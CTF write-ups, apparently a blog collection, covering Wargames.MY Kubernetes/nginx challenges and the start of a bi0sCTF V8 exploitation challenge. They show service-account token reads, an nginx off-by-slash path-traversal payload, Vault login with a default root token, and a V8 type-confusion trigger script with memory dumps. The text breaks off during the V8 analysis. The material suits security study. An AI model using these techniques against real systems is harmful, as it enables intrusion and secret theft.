GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.0.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.3.0.tar.xz
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP=tcp://10.43.246.102:80
WGMY_WEBTESTONETWOTHREE_BACKEND_SERVICE_PORT_FASTCGI=9000
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP_ADDR=10.43.144.2
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP_PORT=9000
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT_HTTP=80
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP_PROTO=tcp
DEPLOY=wgmy-webtestonetwothree-frontend
WGMY_WEBTESTONETWOTHREE_BACKEND_SERVICE_HOST=10.43.144.2
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_HOST=10.43.246.102
PHPIZE_DEPS=autoconf            dpkg-dev dpkg           file            g++             gcc             libc-dev                make            pkgconf                 re2c
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP=tcp://10.43.144.2:9000
KUBERNETES_SERVICE_HOST=10.43.0.1
PWD=/var/www/api
PHP_SHA256=1db84fec57125aa93638b51bb2b15103e12ac196e2f960f0d124275b2687ea54
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT=tcp://10.43.144.2:9000
WGMY_WEBTESTONETWOTHREE_BACKEND_SERVICE_PORT=9000
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT=tcp://10.43.246.102:80

Seems like we are currently on the backend which serves the API endpoint while the initial page with password input box that we interact with is the frontend.

The next thing that we could do is to see what actions we could perform on the k8s cluster.

$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                      Resource Names                       Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []                                   [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []                                   [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []                                   [create]
                                                [/.well-known/openid-configuration/]   []                                   [get]
                                                [/.well-known/openid-configuration]    []                                   [get]
                                                [/api/*]                               []                                   [get]
                                                [/api]                                 []                                   [get]
                                                [/apis/*]                              []                                   [get]
                                                [/apis]                                []                                   [get]
                                                [/healthz]                             []                                   [get]
                                                [/healthz]                             []                                   [get]
                                                [/livez]                               []                                   [get]
                                                [/livez]                               []                                   [get]
                                                [/openapi/*]                           []                                   [get]
                                                [/openapi]                             []                                   [get]
                                                [/openid/v1/jwks/]                     []                                   [get]
                                                [/openid/v1/jwks]                      []                                   [get]
                                                [/readyz]                              []                                   [get]
                                                [/readyz]                              []                                   [get]
                                                [/version/]                            []                                   [get]
                                                [/version/]                            []                                   [get]
                                                [/version]                             []                                   [get]
                                                [/version]                             []                                   [get]
configmaps                                      []                                     []                                   [get]
deployments.apps                                []                                     [wgmy-webtestonetwothree-frontend]   [get]

Most of the permissions are default like interacting with the k8s master API endpoints. The one that is useful for us is the last 2 lines.

  • the second last line means that we could get any configmaps data
  • the last line means that we could get only deployments data named wgmy-webtestonetwothree-frontend

Getting Deployments Data

To get the deployments data simply do kubectl get deployments <resource name>. Optionally we could also be more specific by specify the namespace (from /var/www/api/status.php) kubectl -n wgmy get deployments <resource name>.

$ kubectl get deployments wgmy-webtestonetwothree-frontend
NAME                               READY   UP-TO-DATE   AVAILABLE   AGE
wgmy-webtestonetwothree-frontend   2/2     2            2           35h

$ kubectl get deploy wgmy-webtestonetwothree-frontend -o yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
    meta.helm.sh/release-name: wgmy-webtestonetwothree
    meta.helm.sh/release-namespace: wgmy
  creationTimestamp: "2023-12-15T14:14:18Z"
  generation: 2
  labels:
    app.kubernetes.io/instance: wgmy-webtestonetwothree
    app.kubernetes.io/managed-by: Helm
    app.kubernetes.io/name: frontend
    app.kubernetes.io/version: 0.1.0
    helm.sh/chart: frontend-0.1.0
  name: wgmy-webtestonetwothree-frontend
  namespace: wgmy
  resourceVersion: "28477"
  uid: a8c63194-0eb2-4005-abe2-14138c2b615b
spec:
  progressDeadlineSeconds: 600
  replicas: 2
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app.kubernetes.io/instance: wgmy-webtestonetwothree
      app.kubernetes.io/name: frontend
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      annotations:
        vault.hashicorp.com/agent-inject: "true"
        vault.hashicorp.com/agent-inject-secret-flag: kv/data/flag_for_secret
        vault.hashicorp.com/role: wgmy
      creationTimestamp: null
      labels:
        app.kubernetes.io/instance: wgmy-webtestonetwothree
        app.kubernetes.io/name: frontend
    spec:
      containers:
      - image: nginx:1.25-alpine
        imagePullPolicy: IfNotPresent
        livenessProbe:
          failureThreshold: 3
          httpGet:
            path: /
            port: http
            scheme: HTTP
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 1
        name: frontend
        ports:
        - containerPort: 80
          name: http
          protocol: TCP
        readinessProbe:
          failureThreshold: 3
          httpGet:
            path: /
            port: http
            scheme: HTTP
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 1
        resources: {}
        securityContext: {}
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
        volumeMounts:
        - mountPath: /usr/share/nginx/html
          name: html
        - mountPath: /etc/nginx/conf.d
          name: conf
        - mountPath: /usr/share/nginx/.lemme_try_hiding_flag_with_dot_in_front
          name: flag
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      serviceAccount: wgmy-webtestonetwothree-frontend
      serviceAccountName: wgmy-webtestonetwothree-frontend
      terminationGracePeriodSeconds: 30
      volumes:
      - configMap:
          defaultMode: 420
          name: wgmy-webtestonetwothree-frontend-html
        name: html
      - configMap:
          defaultMode: 420
          name: wgmy-webtestonetwothree-frontend-conf
        name: conf
      - name: flag
        secret:
          defaultMode: 420
          items:
          - key: flag
            path: flag_for_status
          secretName: wgmy-webtestonetwothree-frontend-flag
status:
  availableReplicas: 2
  conditions:
  - lastTransitionTime: "2023-12-15T14:14:18Z"
    lastUpdateTime: "2023-12-15T14:14:20Z"
    message: ReplicaSet "wgmy-webtestonetwothree-frontend-556ccd7cf" has successfully
      progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
  - lastTransitionTime: "2023-12-16T14:43:01Z"
    lastUpdateTime: "2023-12-16T14:43:01Z"
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  observedGeneration: 2
  readyReplicas: 2
  replicas: 2
  updatedReplicas: 2

We could see that there are interesting strings like:

  • .lemme_try_hiding_flag_with_dot_in_front
  • wgmy-webtestonetwothree-frontend-flag
  • flag_for_status
  • kv/data/flag_for_secret (for the other challenge named secret)

note

Alternative way to retrieve this data without kubectl is through the API endpoint directly, see appendix

Retrieving nginx Config from configmaps

Notice the following snippet:

[...]
        volumeMounts:
        - mountPath: /usr/share/nginx/html
          name: html
        - mountPath: /etc/nginx/conf.d
          name: conf
        - mountPath: /usr/share/nginx/.lemme_try_hiding_flag_with_dot_in_front
          name: flag
[...]
      volumes:
      - configMap:
          defaultMode: 420
          name: wgmy-webtestonetwothree-frontend-html
        name: html
      - configMap:
          defaultMode: 420
          name: wgmy-webtestonetwothree-frontend-conf
        name: conf
      - name: flag
        secret:
          defaultMode: 420
          items:
          - key: flag
            path: flag_for_status
          secretName: wgmy-webtestonetwothree-frontend-flag
[...]

I assume that the name under volumeMounts refers to the name under volumes. Hence, the nginx config can be retrieved from wgmy-webtestonetwothree-frontend-conf

$ kubectl get configmaps wgmy-webtestonetwothree-frontend-conf -o yaml
apiVersion: v1
data:
  default.conf: |
    set_real_ip_from  10.42.0.0/16;
    real_ip_header    X-Real-IP;    # from traefik

    server {
      listen       80;
      server_name  _;

      location / {
        root   /usr/share/nginx/html;
        index  index.html;
      }

      location /static {
        alias       /usr/share/nginx/html/;
        add_header  Cache-Control "private, max-age=3600";
      }

      location /api/ {
        include        /etc/nginx/fastcgi_params;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME /var/www$fastcgi_script_name;
        fastcgi_pass   wgmy-webtestonetwothree-backend:9000;
      }

      location /internal-secret/ {
        allow  10.42.0.0/16;
        deny   all;

        proxy_pass  http://vault.vault:8200/;
      }
    }
kind: ConfigMap
metadata:
  annotations:
    meta.helm.sh/release-name: wgmy-webtestonetwothree
    meta.helm.sh/release-namespace: wgmy
  creationTimestamp: "2023-12-15T14:14:18Z"
  labels:
    app.kubernetes.io/instance: wgmy-webtestonetwothree
    app.kubernetes.io/managed-by: Helm
    app.kubernetes.io/name: frontend
    app.kubernetes.io/version: 0.1.0
    helm.sh/chart: frontend-0.1.0
  name: wgmy-webtestonetwothree-frontend-conf
  namespace: wgmy
  resourceVersion: "1726"
  uid: 5a73676b-f509-44b0-8e2d-e921eb4cf7b4
set_real_ip_from  10.42.0.0/16;
real_ip_header    X-Real-IP;    # from traefik

server {
  listen       80;
  server_name  _;

  location / {
    root   /usr/share/nginx/html;
    index  index.html;
  }

  location /static {
    alias       /usr/share/nginx/html/;
    add_header  Cache-Control "private, max-age=3600";
  }

  location /api/ {
    include        /etc/nginx/fastcgi_params;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME /var/www$fastcgi_script_name;
    fastcgi_pass   wgmy-webtestonetwothree-backend:9000;
  }

  location /internal-secret/ {
    allow  10.42.0.0/16;
    deny   all;

    proxy_pass  http://vault.vault:8200/;
  }
}

We could see that there is off-by-slash on /static which allows us to read the .lemme_try_hiding_flag_with_dot_in_front/flag_for_status file by accessing /static../.lemme_try_hiding_flag_with_dot_in_front/flag_for_status

$ env | grep FRONTEND
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_ADDR=10.43.246.102
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PORT=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PROTO=tcp
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP=tcp://10.43.246.102:80
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT_HTTP=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_HOST=10.43.246.102
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT=tcp://10.43.246.102:80

$ nslookup 10.43.246.102
Server:         10.43.0.10
Address:        10.43.0.10:53

102.246.43.10.in-addr.arpa      name = wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local

$ curl -s -L http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/static../.lemme_try_hiding_flag_with_dot_in_front/flag_for_status
wgmy{21c47f8225240bd1b87e9060986ddb4f}

$ curl -s -L http://10.43.246.102/static../.lemme_try_hiding_flag_with_dot_in_front/flag_for_status
wgmy{21c47f8225240bd1b87e9060986ddb4f}

flag: wgmy{21c47f8225240bd1b87e9060986ddb4f}

Next, we would look at the other nginx endpoint, i.e., /internal-secret to get the other flag.

References

Appendix

Getting k8s serviceaccount Token

To interact with the API, we need to get the serviceaccount token.

$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6Im5oUXBoT0FLNVY5U2llMDR2ZFpfeDByYlpCVEtRQlVDUlB[...]

$ export k8s_token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

Getting Other Services IP and Domain Name

Next, we can use the token in the HTTP header Authorization: Bearer <token> and use curl on the k8s master ip which can be retrieved from the environment variable or use the domain name by reverse nslookup the IP or follow the naming convention

$ env | grep ^KUBERNETES
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_HOST=10.43.0.1

Example of converting the domain name manually:

FOO_BAR_SERVICE

replace `_` with `-` until the word `_SERVICE` and append `.<namespace>.svc.cluster.local`

if namespace is default -> foo-bar.default.svc.cluster.local
if namespace is wgmy -> foo-bar.wgmy.svc.cluster.local

WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE -> wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local

Refer to this documentation on how to determine the API endpoint. Furthermore, you can browse /apis and use the name field to build the next part after /apis

$ curl -s -k -H "Authorization: Bearer ${k8s_token}" https://kubernetes.default.svc.cluster.local/apis/ | grep name
      "name": "apiregistration.k8s.io",
      "name": "apps",
      "name": "events.k8s.io",
      "name": "authentication.k8s.io",
      "name": "authorization.k8s.io",
      "name": "autoscaling",
      "name": "batch",
      "name": "certificates.k8s.io",
      "name": "networking.k8s.io",
      "name": "policy",
      "name": "rbac.authorization.k8s.io",
      "name": "storage.k8s.io",
      "name": "admissionregistration.k8s.io",
      "name": "apiextensions.k8s.io",
      "name": "scheduling.k8s.io",
      "name": "coordination.k8s.io",
      "name": "node.k8s.io",
      "name": "discovery.k8s.io",
      "name": "flowcontrol.apiserver.k8s.io",
      "name": "helm.cattle.io",
      "name": "k3s.cattle.io",
      "name": "traefik.containo.us",
      "name": "traefik.io",
      "name": "metrics.k8s.io",

Getting stuff via API

warning

Disclaimer: The first attempt that I did was just trial-and-error before noticing the pattern (which could be wrong as well)

I use /apis/apps from the assumption of kubectl auth can-i --list output: deployments.apps

curl -s -k -H "Authorization: Bearer ${k8s_token}" https://kubernetes.default.svc.cluster.local/apis/apps/v1/namespaces/wgmy/deployments/wgmy-webtestonetwothree-frontend

I use /api directly based on the assumption that since the kubectl auth can-i --list output is only: configmaps

curl -s -k -H "Authorization: Bearer ${k8s_token}" https://kubernetes.default.svc.cluster.local/api/v1/namespaces/wgmy/configmaps/wgmy-webtestonetwothree-frontend-conf

Secret

Series

  1. Warmup
  2. Status
  3. Secret

TL;DR

Read secret from HashiCorp vault using the vault CLI and using nginx off-by-slash

Initial Analysis

From the nginx config that we retrieved previously, we could see that /internal-secret is only accessible from 10.42.0.0/16 and our pod IP address happens to be inside this range.

set_real_ip_from  10.42.0.0/16;
real_ip_header    X-Real-IP;    # from traefik

server {
  listen       80;
  server_name  _;

  location / {
    root   /usr/share/nginx/html;
    index  index.html;
  }

  location /static {
    alias       /usr/share/nginx/html/;
    add_header  Cache-Control "private, max-age=3600";
  }

  location /api/ {
    include        /etc/nginx/fastcgi_params;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME /var/www$fastcgi_script_name;
    fastcgi_pass   wgmy-webtestonetwothree-backend:9000;
  }

  location /internal-secret/ {
    allow  10.42.0.0/16;
    deny   all;

    proxy_pass  http://vault.vault:8200/;
  }
}
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0@if43: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP
    link/ether be:b6:bd:c6:e7:57 brd ff:ff:ff:ff:ff:ff
    inet 10.42.0.36/24 brd 10.42.0.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::bcb6:bdff:fec6:e757/64 scope link
       valid_lft forever preferred_lft forever

Accessing /internal-secret/

If we try to do access it via the frontend IP address from the backend pod, we could see that it tries to redirect to /ui/ but then returns 404 Not Found

$ curl -s -v http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/internal-secret/
* Host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local:80 was resolved.
* IPv6: (none)
* IPv4: 10.43.246.102
*   Trying 10.43.246.102:80...
* Connected to wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local (10.43.246.102) port 80
> GET /internal-secret/ HTTP/1.1
> Host: wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.25.3
< Date: Sun, 17 Dec 2023 02:53:35 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 40
< Connection: keep-alive
< Cache-Control: no-store
< Location: /ui/
< Strict-Transport-Security: max-age=31536000; includeSubDomains
<
{ [40 bytes data]
<a href="/ui/">Temporary Redirect</a>.

* Connection #0 to host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local left intact

$ curl -s -v -L http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/internal-secret/
* Host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local:80 was resolved.
* IPv6: (none)
* IPv4: 10.43.246.102
*   Trying 10.43.246.102:80...
* Connected to wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local (10.43.246.102) port 80
> GET /internal-secret/ HTTP/1.1
> Host: wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.25.3
< Date: Sun, 17 Dec 2023 02:53:40 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 40
< Connection: keep-alive
< Cache-Control: no-store
< Location: /ui/
< Strict-Transport-Security: max-age=31536000; includeSubDomains
<
* Ignoring the response-body
* Connection #0 to host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local left intact
* Issue another request to this URL: 'http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/ui/'
* Found bundle for host: 0x7fb7009e00e0 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection with host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> GET /ui/ HTTP/1.1
> Host: wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Server: nginx/1.25.3
< Date: Sun, 17 Dec 2023 02:53:40 GMT
< Content-Type: text/html
< Content-Length: 153
< Connection: keep-alive
<
{ [153 bytes data]
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.25.3</center>
</body>
</html>
* Connection #0 to host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local left intact

If we instead directly access http://vault.vault:8200, we could see some result. However, there is nothing much interesting from the return page. Recall from previous deployments data, we could see there is vault.hashicorp.com which hints me to research more about hashicorp vault kubernetes on google. Link to the findings can be found here

Interacting with the Vault

The next thing to do is to download the vault CLI standalone binary to the k8s pod.

$ wget https://releases.hashicorp.com/vault/1.15.4/vault_1.15.4_linux_amd64.zip
Connecting to releases.hashicorp.com (18.155.68.21:443)
saving to 'vault_1.15.4_linux_amd64.zip'
vault_1.15.4_linux_a   0% |                                | 54115  0:41:24 ETA
vault_1.15.4_linux_a 100% |********************************|  128M  0:00:00 ETA
'vault_1.15.4_linux_amd64.zip' saved

$ unzip *.zip
Archive:  vault_1.15.4_linux_amd64.zip
  inflating: vault

$ chmod +x vault

$ ./vault --version
Vault v1.15.4 (9b61934559ba31150860e618cf18e816cbddc630), built 2023-12-04T17:45:28Z

Next, we set the environment variable VAULT_ADDR and authenticate. I actually got lucky on trying to login with root as the argument.

$ export VAULT_ADDR=http://vault.vault:8200

$ ./vault login root
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                root
token_accessor       aPpqqqicK0QC4ZW9t1hZ244c
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

$ ./vault read kv/data/flag_for_secret
Key         Value
---         -----
data        map[flag_for_secret:wgmy{352ce22be3caed452e616b655db7cb20}]
metadata    map[created_time:2023-12-15T13:42:49.553430131Z custom_metadata:<nil> deletion_time: destroyed:false version:1]

flag: wgmy{352ce22be3caed452e616b655db7cb20}

Alternative Solution

Based on this link, the secret is injected somewhere in the filesystem.

vault.hashicorp.com/agent-inject-secret-database-config.txt: 'internal/data/database/config'

agent-inject-secret-FILEPATH prefixes the path of the file, database-config.txt written to the /vault/secrets directory. The value is the path to the secret defined in Vault.

Thus, looking at the deployments metadata, we could see that the flag could be retrieved from /vault/secrets/flag by leveraging the previous nginx misconfiguration LFI.

        vault.hashicorp.com/agent-inject: "true"
        vault.hashicorp.com/agent-inject-secret-flag: kv/data/flag_for_secret
        vault.hashicorp.com/role: wgmy

Payload:

http://warmup.wargames.my/static../../../../../../../../vault/secrets/flag

References

bi0sCTF 2024

pwn

Challenge NameKeywordsSummary
ezv8 revengebrowser, V8, type confusion, V8 sandbox, wasmCVE-2020-6418 type confusion on V8 version 12.2.0 (27 Dec 2023)

ezv8 revenge

Author: spektre
Description: Looks like we have some reliability issues here; what could possibly go wrong?
Attachment: ezv8revenge.tar.gz

tip

Some lines of code may be hidden for brevity.

Unhide the lines by clicking the eye button on top right corner of the code block

TL;DR

  • CVE-2020-6418 type confusion on V8 version 12.2.0 (27 Dec 2023)
  • Type confusion to memory corruption to OOB access
  • Hijack wasm instance's jump table starting address to jump into shellcode embedded inside JIT'd wasm code

Patch Analysis

The given patch is the reverse of the fix for CVE-2020-6418. I stumbled upon this awesome N-day analysis written by Daniel when searching for kUnreliableMaps. Detail on the root cause would not be discussed here.

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index 08149558722..6dabffbe8d1 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -448,7 +448,7 @@ NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
           // We reached the allocation of the {receiver}.
           return kNoMaps;
         }
-        result = kUnreliableMaps;  // JSCreate can have side-effect.
+        // result = kUnreliableMaps;  // JSCreate can have side-effect.
         break;
       }
       case IrOpcode::kJSCreatePromise: {

As discussed in the linked blog post, the vulnerability happens when the array type has been changed through Proxy, but the JIT'd function which perform push() / pop() operation still treats the array has the original type.

If an array is initialized with all elements of type double, each element would be stored as immediate value which takes up to 64-bit of memory space. On the other hand, for an array with mixed element types, each element would be stored as a pointer which takes up to 32-bit of memory space. Thus, if an array is changed from all double to mixed elements, there would be reallocation, potentially from larger size to smaller size.

note

If you want to dive a bit deeper into V8 internals, you could read this little note that I have written.

Type Confusion to Memory Corruption

Let's have a look at the type confusion and how it leads to overwriting another object field. This is the script used for triggering the type confusion:

THRESHOLD = 0x2000

function f(p) {
    a.push(  // [5]
        Reflect.construct(function(){}, arguments, p)?4.1835592388585281e-216:0  // [1]
    ); // itof(0x1337133700010000) = 4.1835592388585281e-216
}

let a;
let oob_arr;

let jitted = false

let p = new Proxy(Object, {
    get: function() {
        if (jitted) {
            eval("%DebugPrint(a)")
            eval("%SystemBreak()")
            a[0] = {};  // [2] change `a` from `HOLEY_DOUBLE_ELEMENTS` to `HOLEY_ELEMENTS`
            eval("%DebugPrint(a)")
            eval("%SystemBreak()")
            oob_arr = Array(1);  // [3]
            oob_arr[0] = 1.1;  // [4]
            eval("%DebugPrint(a)")
            eval("%DebugPrint(oob_arr)")
            eval("%SystemBreak()")
        }
        return Object.prototype;
    }
})

for (let i = 0; i <= THRESHOLD; i++) {
    a = Array(8)
    a[1] = 0.1
    a.pop()  // make a room such that push() does not reallocate elements
    if (i == THRESHOLD) {
        jitted = true;
    }
    f(p)
}
  • [1]: Start of type confusion when jitted = true and goes into [2] if block statement
  • [2]: reallocates a to elements that take up less space
  • [3]: oob_arr object is allocated below a.elements, i.e., pointer to map and elements, and length
  • [4]: oob_arr.elements is allocated below oob_arr object
  • [5]: 4.1835592388585281e-216 is pushed where a is still treated as HOLEY_DOUBLE_ELEMENTS in the JIT'd code

Now, let's see it in action through debugger. Note that although after a.pop() causes a.length == 7 and this changes are reflected on the a JSArray object, the length on the elements is still 0x8 such that when a.push(x) is called it does not need to reallocate elements.

tip

Use eval("%SystemBreak()") to properly break into debugger when analysing the changes

caution

Initializing oob_arr directly like so oob_arr = [1.1] would make a difference due to how the elements are initially allocated before the array object

Before [2]

note

Since debug version of d8 is extremely slow, it is advisable to use the release version (provided that one is comfortable in pin pointing the object structure in memory)

a.elements takes up 72 bytes

$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./pwn.js'
0x2833000ddf69 <JSArray[7]>
gef> tele 0x2833000ddf69-0x1  # &a
0x2833000ddf68|+0x0000|+000: 0x000006cd0018eff1  # map = 0x18eff1, properties = 0x6cd
0x2833000ddf70|+0x0008|+001: 0x0000000e000ddfa1  # elements = 0xdc599, length = 0xe >> 1 = 0x7
gef> tele 0x2833000ddfa1-0x1  # &a.elements
0x2833000ddfa0|+0x0000|+000: 0x0000001000000851  # map = 0x851, length = 0x10 >> 1 = 0x8
0x2833000ddfa8|+0x0008|+001: 0xfff7fffffff7ffff  # a[0] the_hole_value
0x2833000ddfb0|+0x0010|+002: 0x3fb999999999999a  # a[1] 0.1
0x2833000ddfb8|+0x0018|+003: 0xfff7fffffff7ffff  # a[2] the_hole_value
0x2833000ddfc0|+0x0020|+004: 0xfff7fffffff7ffff  # a[3] the_hole_value
0x2833000ddfc8|+0x0028|+005: 0xfff7fffffff7ffff  # a[4] the_hole_value
0x2833000ddfd0|+0x0030|+006: 0xfff7fffffff7ffff  # a[5] the_hole_value
0x2833000ddfd8|+0x0038|+007: 0xfff7fffffff7ffff  # a[6] the_hole_value
0x2833000ddfe0|+0x0040|+008: 0xfff7fffffff7ffff  # a[7] the_hole_value (popped)
0x2833000ddfe8|+0x0048|+009: 0x00000006001923c5

After [2]

  • a.elements takes up 40 bytes (0x2833000dedc4 - 0x2833000dedeb)
  • followed by HeapNumber object for 1.1, takes up 12 bytes (0x2833000dedec - 0x2833000dedf7)
gef> c
0x2833000ddf69 <JSArray[7]>
gef> tele 0x2833000ddf69-0x1  # &a
0x2833000ddf68|+0x0000|+000: 0x000006cd0018f071
0x2833000ddf70|+0x0008|+001: 0x0000000e000dedc5  # elements changed to 0xdedc5
gef> tele 0x2833000dedc5-0x1  # &a.elements
0x2833000dedc4|+0x0000|+000: 0x0000001000000565  # map = 0x565
0x2833000dedcc|+0x0008|+001: 0x000deded000deda9  # 0xdeda9 is pointer to `{}`, 0xdeded is pointer to `HeapNumber 1.1`
0x2833000dedd4|+0x0010|+002: 0x000006e9000006e9  # 0x6e9 s pointer to `the_hole_value`
0x2833000deddc|+0x0018|+003: 0x000006e9000006e9
0x2833000dede4|+0x0020|+004: 0x000006e9000006e9
0x2833000dedec|+0x0028|+005: 0x9999999a000007b1  # @ 0xdedec is `HeapNumber 1.1`, map = 0x7b1, 0x3fb999999999999a = 1.1
0x2833000dedf4|+0x0030|+006: 0x001843c93fb99999
0x2833000dedfc|+0x0038|+007: 0x000006cd000006cd
0x2833000dee04|+0x0040|+008: 0x0022da110104c001
0x2833000dee0c|+0x0048|+009: 0x0022da81000de0c9
0x2833000dee14|+0x0050|+010: 0x00000605000006e9

After [4] & Before [5]

If we continue here, we notice that oob_arr object is not allocated immediately after the end of a.elements. This may be caused by us breaking two times previously. Thus, we need to remove the previous two %SystemBreak() and re-run it.

let p = new Proxy(Object, {
    get: function() {
        if (jitted) {
            a[0] = {};
            oob_arr = Array(1);
            oob_arr[0] = 1.1;
            eval("%DebugPrint(a)")
            eval("%DebugPrint(oob_arr)")
            eval("%SystemBreak()")
        }
        return Object.prototype;
    }
})

From the output below, we could see that our oob_arr object is just after a.elements which is ideal for our exploitation later on.

$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./pwn.js'
0x154a000dbb81 <JSArray[7]>
0x154a000dbd79 <JSArray[1]>
gef> tele 0x154a000dbb81-0x1  # &a
0x154a000dbb80|+0x0000|+000: 0x000006cd0018f071
0x154a000dbb88|+0x0008|+001: 0x0000000e000dbd45  # a.elements = 0xdbd45
gef> tele 0x154a000dbd45-0x1  # &a.elements
0x154a000dbd44|+0x0000|+000: 0x0000001000000565  # a.elements.map = 0x565, a.elements.length = 0x10 >> 1 = 0x8
0x154a000dbd4c|+0x0008|+001: 0x000dbd6d000dbd29  # a[0] = 0xdbd29 (pointer to {}), a[1] = 0xdbd6d (pointer to HeapNumber 1.1)
0x154a000dbd54|+0x0010|+002: 0x000006e9000006e9  # a[2] = the_hole_value, ...
0x154a000dbd5c|+0x0018|+003: 0x000006e9000006e9
0x154a000dbd64|+0x0020|+004: 0x000006e9000006e9
0x154a000dbd6c|+0x0028|+005: 0x9999999a000007b1  # HeapNumber 1.1
0x154a000dbd74|+0x0030|+006: 0x0018eff13fb99999  # oob_arr.map = 0x18eff1 (@ 0x154a000dbd78)
